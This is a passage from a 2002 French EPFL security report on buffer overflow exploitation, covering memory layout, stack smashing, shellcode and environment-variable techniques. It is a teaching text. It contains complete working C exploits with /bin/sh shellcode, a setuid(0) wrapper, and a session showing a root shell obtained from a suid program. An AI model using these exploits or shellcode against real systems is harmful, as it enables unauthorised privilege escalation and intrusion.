Exploitation avancée des buffer overflows
Exploitation avancée des buffer overflows
buffer overflows
-
Olivier GAY, Security and Cryptography Laboratory (LASEC)
Département d’Informatique de l’EPFL
28 juin 2002
1/92
Table des matières
1.Introduction 4
2.Généralités 6
2.1 Le format ELF et l’organisation de la mémoire 6
2.2 L’appel de fonction avec le compilateur gcc 8
3.Stack Overflows 11
3.1 Historique 11
3.2 Définition 11
3.3 Exploitation 12
3.4 Propriétés des shellcodes 17
3.5 Programmes suid 18
3.6 Les fonctions vulnérables 20
3.7 Stack Overflows sous d’autres architectures 21
4.Variables d’environnement 23
5. Off-by-one overflows 27
6. Le piège des functions strn*() 33
6.1 Strncpy() non-null termination 33
6.2 Strncat() poisoned NULL byte 35
6.3 Erreur de type casting avec la fonction strncat() 36
6.4 Variations de ces vulnérabilités 38
7. La famille des fonctions *scanf() et *sprintf() 40
7.1 Erreurs sur la taille maximale 40
7.2 Le cas de snprintf() 41
7.3 Exemples d’erreurs de patch d’un overflow 41
8. Remote exploitation 43
9. RET-into-libc 52
9.1 RET-into-libc simple 52
9.2 Le problème des pages exécutables sous x86 56
9.3 Le patch kernel Openwall 56
9.4 Bypasser Openwall 58
9.4.1 ELF dynamic linking 58
9.4.2 RET-into-PLT 59
9.5 RET-into-libc chaîné 61
9.6 RET-into-libc sur d’autres architectures 65
10. Heap Overflow 66
10.1 Data based overflow et la section DTORS 66
10.2 BSS based overflow et les atexit structures 68
10.3 Pointeurs de fonctions 72
10.4 Longjmp buffers 75
10.5 Ecrasement de pointeur et GOT 77
10.5.1 Les protections Stackguard et Stackshield 80
10.6 Autres variables potentiellement intéressantes à écraser 80
2/92
10.7 Malloc() chunk corruption 81
10.7.1 Doug Lea Malloc 81
10.7.2 La macro unlink() 81
10.7.3 Le programme vulnérable 83
10.7.4 Exploitation avec unlink() 83
10.7.5 L’Exploit et les malloc hooks 84
11. Conclusion 88
12. Bibliographie 89
3/92
1. Introduction
Les problèmes liés aux buffer overflows représentent 60% des annonces de sécurité
du CERT ces dernière années. Il s’agit actuellement du vecteur d’attaques le plus
courant dans les intrusions des systèmes informatiques et cela particulièrement pour
les attaques à distances. Une étude sur la liste de diffusion Bugtraq en 1999 a révélé
qu’approximativement 2/3 des personnes inscrites pensaient que les buffers
overflows étaient les causes premières des failles de sécurité informatique. Malgré
que ces failles aient été discutées et expliquées, des erreurs de ce types surgissent
encore fréquemment dans les listes de diffusion consacrées à la sécurité. En effet
certains overflows, dû à leur nature difficilement détectable et dans certains cas même
pour des programmeurs chevronnés, sont encore présents dans les programmes qui
nous entourent.
Les erreurs de code ont été à la tête de catastrophes importantes : parmi les plus
connus, il y a l’échec de la mission du Mars Climate Orbiter ou le crash 40 secondes
seulement après le démarrage de la séquence de vol de la première Ariane 5 (Ariane
501) en 1996, après un développement d’un coût de quelques 7 milliards de dollars (le
problème était un overflow lors de la conversion d’un integer 64 bits à un integer
signé de 16 bits).
Des estimations nous indiquent qu’il y a entre 5 et 15 erreurs pour 1000 lignes de
code. Les programmes deviennent maintenant de plus en plus gros en taille et de plus
en complexe. La dialectique est implacable car plus un programme est gros, plus il est
complexe, plus le nombre d’erreurs augmente et donc plus il y a d’erreurs de sécurité.
Tout porte donc à penser que les buffer overflows ne vont pas disparaître dans les
années à venir mais que leur nombre va plutôt augmenter.
4/92
Chaque chapitre est généralement accompagné de code qui démontre une technique
d’exploitation ou d’exemples réels de programmes qui contenait un type d’overflow
désastreux pour la sécurité. Les exemples de codes mis à disposition se retrouvent enb
fin de ce rapport (dans la partie Annexes) et peuvent être compilés avec Linux sur les
processeurs x86. Des notes sont indiquées dans les chapitres pour expliquer les
incidences que peuvent avoir certaines différences liées au processeur, au compilateur
ou au système d’exploitation sur l’exploitation d’une faille.
5/92
2. Généralités
Pour créer des exploits et comprendre leur action, il est nécessaire de connaître
plusieurs concepts des Systèmes d’Exploitation, comme l'organisation de la mémoire,
la structure des fichiers exécutables et les phases de la compilation. Nous détaillerons
ces principes dans ce chapitre pour le système d'exploitation Linux.
L'espace virtuel est divisée en deux zones: l'espace user (0x00000000 - 0xbfffffff) et
l'espace kernel (0xc0000000 - 0xffffffff). Contrairement au kernel avec l'espace user,
un processus user ne peut pas accéder à l'espace kernel. Nous allons surtout détailler
cet espace user car c'est lui qui nous intéresse.
Un exécutable ELF est transformé en une image processus par le program loader.
Pour créer cette image en mémoire, le program loader va mapper en mémoire tous les
loadable segments de l'exécutables et des librairies requises au moyen de l'appel
système mmap(). Les exécutables sont chargés à l’adresse mémoire fixe 0x080480002
appelée « adresse de base ».
1
Ce format est supporté par la majorité des systèmes d’exploitation Unix : FreeBSD, IRIX, NetBSD,
Solaris ou UnixWare
2
Pour comparaison, cette adresse est par exemple 0x10000 pour les exécutables Sparc V8 (32 bits) et
0x100000000 pour les exécutables Sparc V9 (64 bits)
6/92
La pile quant à elle contient les variables locales automatiques (par défait une variable
locale est automatique). Elle fonctionne selon le principe LIFO (Last in First Out),
premier entré premier sorti et croît vers les adresses basses de la mémoire. A
l'exécution d'un programme ses arguments (argc et argv) ainsi que les variables
d'environnement sont aussi stockés dans la pile.
Les variables allouées dynamiquement par la fonction malloc() sont stockées dans le
heap.
stack
stack
0xC0000000
heap
heap
bss
bss
data
data
text
text 0x08048000
figure 1.
main(){
La commande size permet de connaître les différentes sections d'un programme ELF
et de leur adresse mémoire.
7/92
.gnu.version 0xa2 0x8048bfc
.gnu.version_r 0x80 0x8048ca0
.rel.got 0x10 0x8048d20
.rel.bss 0x28 0x8048d30
.rel.plt 0x230 0x8048d58
.init 0x25 0x8048f88
.plt 0x470 0x8048fb0
.text 0x603c 0x8049420
.fini 0x1c 0x804f45c
.rodata 0x2f3c 0x804f480
.data 0xbc 0x80533bc
.eh_frame 0x4 0x8053478
.ctors 0x8 0x805347c
.dtors 0x8 0x8053484
.got 0x12c 0x805348c
.dynamic 0xa8 0x80535b8
.sbss 0x0 0x8053660
.bss 0x2a8 0x8053660
.comment 0x3dc 0x0
.note 0x208 0x0
Total 0xade9
(Des informations similaires mais plus détaillées peuvent être obtenues avec les
commandes readelf –e ou objdump -h). Nous voyons apparaître l’adresse en mémoire
et la taille (en bytes) des sections qui nous intéressent : .text, .data et .bss. D’autres
sections, comme .plt, .got ou .dtors seront décrites dans les chapitres suivants.
main(){
foo(5,6);
}
8/92
0x80483e1 <main+9>: push $0x6
0x80483e3 <main+11>: push $0x5
0x80483e5 <main+13>: call 0x80483c0 <foo>
0x80483ea <main+18>: add $0x10,%esp
0x80483ed <main+21>: leave
0x80483ee <main+22>: ret
0x80483ef <main+23>: nop
End of assembler dump.
(gdb) disassemble foo
Dump of assembler code for function foo:
0x80483c0 <foo>: push %ebp
0x80483c1 <foo+1>: mov %esp,%ebp
0x80483c3 <foo+3>: sub $0x18,%esp
0x80483c6 <foo+6>: movl $0x1,0xfffffffc(%ebp)
0x80483cd <foo+13>: movl $0x2,0xfffffff8(%ebp)
0x80483d4 <foo+20>: jmp 0x80483d6 <foo+22>
0x80483d6 <foo+22>: leave
0x80483d7 <foo+23>: ret
End of assembler dump.
Dans notre programme, la fonction foo() est appelée avec les paramètres 5 et 6. En
assembleur, cela est accompli ainsi :
En <foo> nous sauvons d’abord le registre frame pointer (%ebp) sur la pile. Il s’agit
du frame pointer de la fonction d’avant. Ainsi, quand nous sortirons de la fonction
foo() le frame pointer pourra être remis à sa valeur sauvée. En <foo+1>, nous mettons
à jour le registre frame pointer, au début de la frame qui va commencer et qui est la
frame pour la fonction. En <foo+3>, nous réservons ensuite la place pour les variables
locales. La valeur 0x18 indique que 24 bytes ont été réservé pour nos 2 int (2*4
9/92
bytes), cela est plus que suffisant mais gcc (2.95.3) réserve au minimum 24 bytes. Si
nous avions plus que 24 bytes de variables locales, il aurait donc fallu soustraire (la
pile croît vers le bas) plus de bytes. Le compilateur gcc réserve pour chaque frame un
espace dans la pile de taille multiple de 4.
L’épilogue correspond à la sortie de la fonction foo(). Elle doit alors retourner au bon
endroit et restituer le frame pointer sauvegardé par le prologue de la fonction. Le
prologue est effectué par ces deux instructions :
La dernière instruction, ret, retourne à l’endroit juste après l’appel de la fonction foo()
grâce à la valeur de retour stockée en pile durant l’appel. Enfin, au retour de la
fonction, en <main+18> :
0x80483ea <main+18>: add $0x10,%esp
10/92
3. Stack Overflows
3.1 Historique
Le problème des buffer overflows et leur exploitation n’est pas nouveau. Leur
existence se situe aux tout débuts de l’architecture Von-Neumann-1. Selon C. Cowan,
des anecdotes situent les premiers exploits de buffer overflow dans les années 1960
sur OS/360. En 1988, un événement a secoué le monde informatique quand Robert J.
Morris a été la cause de la paralysie de 10% de tous les ordinateurs d’Internet quand il
a propagé son vers malicieux, « l’Inet Worm » (cet événement a par ailleurs été à
l’origine de la création du CERT). Ce vers s’introduisait dans les serveurs en
exploitant des failles de Sendmail et de fingerd sur des ordinateurs 4.2 ou 4.3 de BSD
Unix sur architecture VAX et SunOS sur architecture Sun-3. Parmi plusieurs failles
classiques que le worm exploitait, il exploitait un buffer overflow sur les serveurs
fingerd. Ce-dernier interceptait les données d’utilisateurs distants au moyen de la
fonction gets(). Cette fonction est une fonction dangereuse et à ne jamais utiliser car
il est impossible quand elle est appelée de contrôler que l’utilisateur n’envoie pas plus
de données que prévues. Dans le cas de l’inet worm, il envoyait, dans un buffer de
512 bytes, une requête de 536 bytes qui en écrasant des données critiques lui
permettait d’obtenir un shell sur l’ordinateur distant.
Fin 1995, Mudge du groupe L0pht (futur atstake) est le premier à écrire un texte
traitant de l’exploitation des buffer overflow. Mais c’est un an plus tard, qu’Aleph
One (l’iniateur de la liste de diffusion Bugtraq) écrit pour le magazine éléctronique
phrack l’article « Smashing the stack for fun and profit » qui est encore actuellement
le texte de référence pour comprendre et exploiter des buffers overflows. L’histoire
des buffer overflows ne s’est toutefois pas arrêté après ce texte et plusieurs classes
d’overflows ont pu être exploitées grâce au développement de nouvelles techniques
d’exploitation.
3.2 Définition
Avant d’entrer dans le monde de l’exploitation des overflows, intéressons-nous à ce
qu’est exactement un buffer overflow. Un buffer overflow est la situation qui se
produit quand dans un programme on place dans un espace mémoire plus de données
qu’il ne peut en contenir. Dans ce genre de situations, les données sont quand même
insérées en mémoires même si elles écrasent des données qu’elles ne devraient pas.
En écrasant des données critiques du programme, ces données qui débordent amènent
généralement le programme à crasher. Ce simple fait est déjà grave si l’on pense à des
serveurs qui ne peuvent ainsi plus remplir leur tâche. Plus grave, en écrasant certaines
données, on peut arriver à prendre le contrôle du programme ce qui peut s’avérer
désastreux si celui-ci tourne avec des droits privilégiés par exemple. Nous voyons ici
un exemple de programme vulnérable qui contient un buffer overflow :
11/92
1 #include <stdio.h>
2
3
4 main (int argc, char *argv[])
5 {
6 char buffer[256];
7
8 if (argc > 1)
9 strcpy(buffer,argv[1]);
10 }
Le programme écrit en dehors du buffer réservé qui fait crasher le programme. Nous
verrons plus loin comment rediriger le cours d’exécution du programme à notre
faveur.
3.3 Exploitation
Nous allons maintenant voir comment exploiter le programme précédent qui contenait
un buffer overflow. Grâce au chapitre 2, nous savons que notre buffer vulnérable se
situe sur la pile et qu’il est directement suivi en mémoire par le frame pointer et
l’adresse de retour de la fonction dans laquelle est définie buffer (soit main()). Notre
but est donc d’écraser cette adresse de retour pour rediriger le programme. Notre
buffer ayant une taille de 256 octets, 264 bytes suffisent pour écraser cette adresse de
retour par une adresse de notre choix. Il convient de remarquer que les variables en
mémoires sont paddées à 4 octets. Ainsi si notre buffer avait 255 éléments au lieu de
256, il occuperait quand même 256 octets dans la pile. Avec le débuggeur gdb, nous
allons vérifier cette affirmation. Tout d’abord, il nous faut activer la création de
fichiers core lors de segfault d’un programme.
12/92
Core was generated by `./vuln1
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BB'.
Program terminated with signal 11, Segmentation fault.
#0 0x41414141 in ?? ()
(gdb) p $eip
$1 = (void *) 0x41414141
(gdb) p $esp
$2 = (void *) 0xbffff834
La ligne de commande Unix ne nous interdit pas de passer des valeurs binaires non
ASCII. Notre buffer a une taille de 256 octets, cela est amplement suffisant pour y
caser un petit programme assembleur qui exécute un shell. Ce programme est
communément appelé ‘shellcode’ car sa fonction est généralement de lancer un shell.
Il n’est pas nécessaire de coder soit-même le shellcode, des shellcodes génériques
pour différentes architectures ont déjà été programmés.
Le shellcode est injecté dans le buffer vulnérable avant la nouvelle adresse de retour.
Un des avantages de le placer à cet endroit plutôt qu’après notre adresse de retour, est
que nous sommes ainsi sûr que, hormis d’écraser le frame pointer sauvé et l’adresse
de retour, notre exploit n’écrase aucune autre donnée du programme. Enfin, il reste à
déterminer l’adresse en mémoire du shellcode et de l’utiliser comme nouvelle adresse
de retour de la fonction main().
Il serait trivial de déterminer un candidat pour l’adresse de retour en lançant gdb sur le
programme vulnérable: en plaçant un breakpoint dans la fonction main() et en
exécutant le programme, on obtient facilement l’adresse du buffer. Malheureusement,
les conditions pour tracer le programme vulnérable (voir chapitre 3.42) sont rarement
rencontrées.
La méthode utilisée dans l’exploit tenter d’estimer cette adresse du shellcode. Les
lignes qui suivent sont celles de l’exploit et sont décrites plus bas.
1 /*
2 * classic get_sp() stack smashing exploit
3 * Usage: ./ex1 [OFFSET]
4 * for vuln1.c by OUAH (c) 2002
5 * ex1.c
6 */
7
8 #include <stdio.h>
9 #include <stdlib.h>
13/92
10
11 #define PATH "./vuln1"
12 #define BUFFER_SIZE 256
13 #define DEFAULT_OFFSET 0
14 #define NOP 0x90
15
16 u_long get_sp()
17 {
18 __asm__("movl %esp, %eax");
19
20 }
21
22 main(int argc, char **argv)
23 {
24 u_char execshell[] =
25 "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2
\x89\x56\x07\x89\x56\x0f"
26 "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12
\x8d\x4e\x0b\x8b\xd1\xcd"
27 "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
28
29 char *buff, *ptr;
30 unsigned long *addr_ptr, ret;
31
32 int i;
33 int offset = DEFAULT_OFFSET;
34
35 buff = malloc(4096);
36 if(!buff)
37 {
38 printf("can't allocate memory\n");
39 exit(0);
40 }
41 ptr = buff;
42
43 if (argc > 1) offset = atoi(argv[1]);
44 ret = get_sp() + offset;
45
46 memset(ptr, NOP, BUFFER_SIZE-strlen(execshell));
47 ptr += BUFFER_SIZE-strlen(execshell);
48
49 for(i=0;i < strlen(execshell);i++)
50 *(ptr++) = execshell[i];
51
52 addr_ptr = (long *)ptr;
53 for(i=0;i < (8/4);i++)
54 *(addr_ptr++) = ret;
55 ptr = (char *)addr_ptr;
56 *ptr = 0;
57
58 printf ("Jumping to: 0x%x\n", ret);
59 execl(PATH, "vuln1", buff, NULL);
60 }
14/92
A la ligne 12, BUFFER_SIZE représente la taille du buffer à overflower du
programme vulnérable. Le payload, défini à la ligne 35, a une taille de
BUFSIZE+2*4+1 octets, soit la taille du buffer plus 2*4 bytes pour le frame pointer et
l’adresse de retour et un dernier octet pour le 0 qui termine la string.
Le buffer est d’abord rempli à la ligne 46 par la valeur 0x90. Cette valeur est celle de
l’instruction assembleur NOP. Cette instruction, disponible sur la majorité des
processeurs, comme son nom l’indique ne fait rien du tout. Le shellcode, aux lignes
49-50 est copié entièrement juste avant l’adresse de retour, en fin de buffer, de façon
à ce qu’on ait le maximum de NOP avant le shellcode. Le shellcode que nous avons
utilisé est un classique et a été codé par Aleph One. L’adresse de retour est ensuite
inséré en fin du payload, ainsi que le 0 final.
Comme l’adresse de retour est estimée, les NOP du payload nous permettent de la
déterminer avec une précision moindre. En effet, nous savons que si l’adresse de
retour pointe dans les NOP alors notre shellcode sera exécuté.
ret
ret fake
fakeret
ret
sfp
sfp
shellcode
shellcode
buffer
buffer nops
nops
La ligne 44, va estimer l’adresse de retour désirée en appelant notre fonction get_sp().
Cette fonction permet de récupérer le pointeur de pile %esp de l’exploit quand on se
trouve dans la fonction main(). Grâce aux mécanismes de mémoire virtuelle, on
suppose que cette adresse risque de ne pas trop changer dans notre programme
vulnérable ce qui nous donne une indication de l’adresse mémoire du buffer
vulnérable qui se trouve lui aussi dans la pile. A cette adresse on y a ajoute un
OFFSET (positifif ou négatif) par défaut à 0 ou sinon à mis à la valeur du premier
argument de l’exploit. Ainsi si l’exploit ne fonctionne pas, on peut toujours tâtonner
en ajoutant un décalage à la fake adresse de retour pour qu’elle pointe dans les NOP.
ouah@weed:~$ ./ex1
Jumping to: 0xbffff8cc
Illegal instruction (core dumped)
ouah@weed:~$
15/92
Nous voyons ici que notre exploit n’a pas fonctionné. Le programme vulnérable a
sauté dans une zone mémoire où il a rencontré une instruction qu’il ne connaissait
pas. Cela est dû à un mauvaise offset, ici l’offset 0, car on l’a vu plus haut, notre fake
adresse de retour est seulement estimée. Changeons notre offset : nous savons que
dans notre buffer vulnérable il y a plus de 200 NOPs, ce qui nous permet donc de
spécifier un offset par pas de 200 pour le trouver plus facilement :
Remarque : dans notre exemple, un offset de 200 faisait encore crasher le programme,
mais un offset de 250 environ était suffisant pour l’exploiter.
ouah@weed:~$ ./ex1
Jumping to: 0xbffff8cc
Illegal instruction (core dumped)
ouah@weed:~$
16/92
$1 = 256
Dans la section précédente, nous avons utilisé un shellcode qui exécutait un shell lors
de l’exploitation de notre programme vulnérable. Nous ne détaillerons pas plus dans
le cadre de ce rapport la phase d’écriture de shellcode car cela ne nous semble pas
fondamental pour l’écriture d’exploits. Quelques informations à leur sujet méritent
cependant d’être données. Généralement les développeurs d’exploits, ne codent pas
eux-mêmes les shellcodes mais les récupère depuis le Net ou dans des cas rares y
apportent des modifications minimes. En effet, la plupart du temps, il suffit d’utiliser
un shellocode générique. Les shellcodes dépendent de l’architecture (code assembleur
différents) et du système d’exploitation (syscall différents).
Il y a deux façon d’écrire des shellcodes : soit le code est écrit directement en
assembleur soit il est d’abord programmé en langage C. En C, le programme source
du shellcode est compilé avec l’option –static pour qu’il contienne le code des syscall
appelés (celui d’execve() par exemple) plutôt que la référence à leur librairie
dynamique.
Plusieurs modifications sont ensuite apportées au code assembleur des shellcodes afin
qu’ils respectent les propriétés suivantes :
- Une taille minimale. L’écriture des shellcodes est optimisée pour que leur
taille soit minimale, ceci afin qu’ils puissent être copiés même dans un
petit buffer. Par exemple, dès le chapitre 2 nous avons éliminé la gestion
des erreurs dans le shellcode (le test si exec fail) pour en réduire la taille.
- L’absence de byte NULL. En effet, le byte NULL agissant comme un
terminateur pour les strings, le shellcode est retravaillé pour contenir
aucun bytes NULL. On élimine généralement facilement les bytes NULL
d’une instruction assembleur par une ou plusieurs autres instructions qui
produisent un résultat équivalent.
- PIC. PIC signifie Position Independence Code. Le shellcode doit être
« position independent ». Ceci signifie qu’il ne doit contenir aucune
adresse absolue. Cela est nécessaire car l’adresse où le shellcode est injecté
n’est généralement pas connue.
17/92
Une fois ces modifications effectuées, le programme assembleur du shellcode est
généralement dumpé en une suite de valeurs héxadécimales pour être facilement
intégré à l’exploit dans un tableau. Dans la suite de ce rapport, d’autres exemples de
shellcodes, qui font d’autres actions que de simplement exécuter un shell, sont
utilisés.
Dans ce genre de situation le hacker qui veut débugger un programme suid sur un
autre ordinateur pour trouver les offsets corrects par exemple a deux solutions: en
copiant (avec la commande cp) le programme ailleurs, il va perdre son bit suid et
pourra ainsi être débuggé. Si le programme n'est pas readable il ne pourra pas être
copié et le hacker dans ce cas peut ré-installer sa propre version du programme.
Evidemment, il se peut alors que l'option du programme qui nous permettait
l'overflow interdise au programme de s'exécuter car elle nécessite obligatoirement des
droits root (dans le cas d'un programme suid root). Dans ces situations et si un petit
buffer et peu de NOPs nous obligent à tester beaucoup d'offsets, le hacker peut
toujours, afin de trouver un offset fonctionnel, écrire un petit shell-script qui brute-
force cet offset en appelant en boucle l'exploit tout en incrémentant l'offset.
La faille remote root deattack de sshd par exemple paraissait théorique uniquement
tant le nombre de valeurs à déterminer pour l’exploiter était grand. Cependant un
exploit (x2 par Teso, non-releasé encore à ce jour) qui à la fois estimait et brute-
forçait certaines valeurs a pu être codé et cet exploit avait taux de réussite important.
18/92
uucp et non suid), on peut créer une backdoor root, s'ils sont appelés par root.
(Exemple on envoie un mail uuencoded à root et on attend qu'il utilise la commande
uudecode). Dans certains, ils n'ont même pas besoin d'être appelé directement par
root, par exemple, si le programme trojan est appelé dans un crontab, dans une règle
de mail sendmail.cf, etc.
Dans les tests effectués avec le programme vulnérable précédent, celui-ci pour de
souplesse dans le debug n’était pas suid. La question est légitime de savoir si avec le
bit suid activé, le passage des droits lors de l’exploitation se fait correctement. Nous
allons donc changer le propriétaire du programme vulnérable par root, lui ajouter le
bit suid, puis l’exécuter depuis notre compte user et vérifier si nous obtenons les
droits root.
ouah@weed:~$ su
Password:
root@weed:~# chown root:root vuln1
root@weed:~# chmod 4755 vuln1
root@weed:~# exit
exit
ouah@weed:~$ ls -l vuln1
-rwsr-xr-x 1 root root 11735 Apr 30 03:32 vuln1
ouah@weed:~$ ./ex1 400
Jumping to: 0xbffffa5c
bash# id
uid=500(ouah) gid=500(ouah) euid=0(root) groups=500(ouah)
Dans la dernière ligne, la valeur du euid à 0 nous indique que nous avons bien obtenu
les droits root et que toutes les commandes exécutées depuis ce shell le seront avec les
privilèges root.
Enfin, il faut remarquer que les dernière versions des shells bash et tcsh, quand ils
sont appelés vérifient si l’uid du processus est égal à son euid et si ce n’est pas le cas,
l’euid du shell est fixé à la valeur de l’uid par mesure de sécurité. Dans notre exemple,
précédent le passage des privilèges ne se serait donc pas fait et l’euid serait resté à
500. En fait, il est simple de contourner cette limitation. Par exemple, en appelant un
code wrapper qui fait un setuid(0) avant d’appeler le shell. Voici le code d’un tel
wrapper :
#include <unistd.h>
main(){
char *name[]={"/bin/sh",NULL};
setuid(0);
setgid(0);
execve(name[0], name, NULL);
}
"\x33\xc0\x31\xdb"
19/92
"\xb0\x17\xcd\x80"
Enfin, plusieurs personnes croient que les overflows sont exploitables uniquement
avec les programmes suid. C'est évidemment faux. Les overflows peuvent être aussi
exploitées sur des programmes client (ex: netscape, pine) ou sur des daemons sans
que ceux-ci aient besoin d'être suid. Ces dernières vulnérabilités sont encore plus
dangereuses car l'attaquant n'a pas besoin de posséder un compte sur la machine qu'il
attaque. (Nous verrons dans un chapitre suivant les exploitations à distance.) Certains
autres programmes non-suid peuvent aussi être exploités: exemple, le programme
gzip (qui n’est pas suid) possédait un overflow qui pouvait être exploité pour obtenir
des droits privilégiés du fait que de nombreux serveur FTP l'utilisent pour la
compression de fichiers. Un autre exemple : les cgi qui sont utilisés dans les serveurs
webs. Il ne faut non plus pas oublier que des buffers overflows peuvent aussi être
présents et exploités dans les librairies dynamique ou dans la libc.
Remarque: notons que souvent des vulnérabilités de clients sont faussement perçues
comme des vulnérabilités de serveur.
1. strcat(), strcpy()
2. sprintf(), vsprintf()
3. gets()
4. la famille des fonctions scanf() (scanf(), fscanf(), sscanf(), vscanf(), vsscanf()
et vfscanf()) si la longueur des données n'est pas contrôlée
5. suivant leur utilisation: realpath(), index(), getopt(), getpass(), strecpy(),
streadd() et strtrns()
A cela il faut ajouter que les anciennes implémentations de la fonction getwd(), qui
copie le chemin d'accès absolu du répertoire de travail courant dans le buffer donné
en paramètre, ne vérifiait jamais la taille du répertoire. Actuellement, il faut faire
attention que le buffer donné en paramètre soit de taille au moins PATH_MAX.
20/92
La famille des fonctions scanf() lit généralement les données sans faire de bounds
checking. Une limite de longueur à copier peut néanmoins être spécifiée dans la
chaîne de format grâce à l’ajout d’un tag de format.
Pour les fonctions sprintf() et vsprintf(), on peut spécifier la taille comme pour la
famille des fonctions scanf() via un tag de format ou en utilisant les fonctions
snprintf() et vsnprintf() qui contiennent la taille de la destination comme dernier
paramètre.
Nous verrons aux chapitres 6 et 7, comment, si elles sont mal utilisées, la plupart de
ces fonctions alternatives qui permettent de spécifier la taille maximale à copier,
peuvent aussi déboucher sur un overflow. Enfin, des overflows exploitables peuvent
aussi apparaître dans les boucles for ou while. Au chapitre 5, nous verrons un exemple
de programme vulnérable avec une boucle.
Toutefois dès les version 4.0 de l'OS Digital Unix, la pile a été rendu exécutable
(probablement pour les compilateurs JIT), ce qui a ouvert la porte aux créateurs
d'exploits. Actuellement, les versions 5.0 de Tru64 ont réimplémentées leur pile non-
exécutable ce qui rend une exploitation extrêmement difficile (voir le chapitre sur les
return-into-libc). Tru64 n’est toutefois pas le seul OS qui support le processeurs
Alpha. Les systèmes d’exploitations Linux, NetBSD et OpenBSD fonctionnent aussi
sous Alpha. Le problème des 0x00 a résolu dans le shellcode en utilisant une
technique d’encodage et de décodage du shellcode. Quant à l’adresse de retour 64
bits, comme le processeur Alpha est little endian, il suffit de placer seulement les
bytes non-nuls de l’adresse. Il ne peut toutefois rien n’y avoir après cette adresse de
retour, les 0x00 nous en empêchant. De plus, le compilateur alpha fait qu’il n’est pas
possible d’atteindre l’adresse de retour
Pour les processeurs PA-RISC (HP-UX) et Sparc (Solaris), il faut se rappeller que
contrairement aux processeurs Intel ou Alpha, leur architecture est Big Endian.
Le cas du système d’exploitation HP-UX sous PA-RISC est assez particulier. Les
processeurs PA-RISC n'ont aucune implémentation hardware de la pile. HP-UX a
choisi une pile qui croît des adresses basses vers les adresses hautes (c'est-à-dire dans
le sens inverse des processeurs Intel x86 et de la majorité des autres systèmes). Il est
ainsi possible d’écraser la valeur des retour des fonctions library! Voyons l’exemple
qui suit :
#include <stdio.h>
21/92
main (int argc, char *argv[])
{
char buffer[256];
if (argc > 1)
strcpy(buffer,argv[1]);
exit(1);
}
Le programme ci-dessus n’est par exemple pas exploitable sous architecture Intel x86
à cause du exit(1) final. En effet, la présence du exit() fera le programme s’arrêter
avant même qu’il n’ait pu retourner de main(). Sous HP-UX, ce programme peut être
exploité dès le retour de la fonction strcpy() en écrasant la valeur de retour de cette
fonction, ce qui est possible car la pile croît vers les adresses hautes.
22/92
4. Variables d’environnement
Olaf Kirch a été une des premières personnes à mentionner que des offsets n’étaient
pas nécessaires quand on exploite localement un overflow grâce à la possibilité de
passer le shellcode dans une variable d’environnement et de déterminer exactement
son adresse.
En mettant, notre shellcode dans une variable d’environnement on s’assure que même
si le buffer est modifié, le shellcode lui restera intacte. Mieux encore, grâce à
l’organisation de la mémoire, il nous est possible de savoir directement où vas se
trouver exactement notre shellcode. Ainsi plus de NOP et plus d’offsets.
1 #include <stdio.h>
2
3
4 main (int argc, char *argv[])
23/92
5 {
6 char buffer[16];
7
8 if (argc > 1)
9 strcpy(buffer,argv[1]);
10 }
1 /*
2 * env shellcode exploit
3 * doesn't need offsets anymore
4 * for vuln2.c by OUAH (c) 2002
5 * ex2.c
6 */
7
8 #include <stdio.h>
9
10 #define BUFSIZE 40
11 #define ALIGNMENT 0
12
13 char sc[]=
14 "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3"
15 "\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
16
17 void main()
18 {
19 char *env[2] = {sc, NULL};
20 char buf[BUFSIZE];
21 int i;
22 int *ap = (int *)(buf + ALIGNMENT);
23 int ret = 0xbffffffa - strlen(sc) -
strlen("/home/ouah/vuln2");
24
25 for (i = 0; i < BUFSIZE - 4; i += 4)
26 *ap++ = ret;
27
28 printf(" env shellcode exploit, doesn't need offsets
anymore by OUAH (c) 2002\n");
29 printf(" Enjoy your shell!\n");
30
31 execle("/home/ouah/vuln2", "vuln2", buf, NULL, env);
32 }
Analysons notre exploit. A la ligne 31, on utilise la fonction execle() (on utilisait
execl() dans notre ancien exploit) qui nous permait de faire passer au programme
vulnérable un nouvel environnement. L’environnement serait ainsi composé de notre
shellcode (ligne 19) suivi d’un pointeur NULL.
24/92
Maintenant on peut déterminer exactement l’adresse de notre shellcode: on sait
d'après la figure XX (schéma de nathan) que l'adresse de notre variable
d'environnement se trouve au fond de la pile (avec execle il y a argv[0] aussi au fond
de la pile) soit à (ligne 23): 0xbffffffa - strlen(sc) -
strlen("/home/ouah/vuln2");.
Aux lignes 25-26 on utilise cette adresse pour écraser l’adresse de retour du
programme vulnérable. Compilons, puis testons notre exploit :
L’exploit lance effectivement un shell sans que nous n’ayons à nous soucier d’un
quelconque offset.
env
envstrings
strings
argv
argvstrings
strings
env
envpointers
pointers
argv
argvpointers
pointers
argc
argc
user
userstack
stack
figure 3.
De la même manière que pour les variables d’environnement nous pouvons mettre le
shellcode dans un des buffers de argv[] et sauter directement dans argv[].
Cette technique d’utilisation des variables d’environnement est très efficace et sera
utilisé dans plusieurs des exploits qui suivent, mais elle ne marche malheureusement
25/92
qu'en local. En effet, en remote ce n'est pas nous qui lançons le programme vulnérable
car nous interférons avec un serveur qui est déjà actif. Il nous est donc pas possible de
recréer un environnement ou de connaître les adresses mémoires de certaines de nos
variables d'environnement qui seront passées au serveur distant.
26/92
5. Off-by-one overflows
Nous avons vu dans nos deux exemples précédents des cas où l’utilisation de la
fonction strcpy() était en cause. Actuellement son usage tend à fortement diminuer et
même dans le cas où l’utilisateur n’a aucune prise sur le buffer les programmeurs ont
tendance à éviter cette fonction. Les codes dont des overflows sont susceptibles
d’apparaître avec la fonction strcpy() sont faciles à auditer. Il y a même plusieurs
logiciels qui automatisent ce genre de tâche d’audit en pointant du doigt sur les
passages qui utilisent des fonctions vulnérables. Hélas pour les programmeurs, des
overflows peuvent aussi apparaître dans des boucles for ou while s’il y a des erreurs
avec les indices ou dans la condtion de la boucle par exemple. Ces overflows peuvent
être très difficiles à détécter.
Ces bugs sont appelés off-by-one bugs car contrairement aux erreurs dues aux
fonctions strcpy() ou gets(), l'overflow peut avoir lieu seulement sur un ou quelques
bytes. Comment exploiter de tels overflows? On voit bien que si l'overflow a lieu de 1
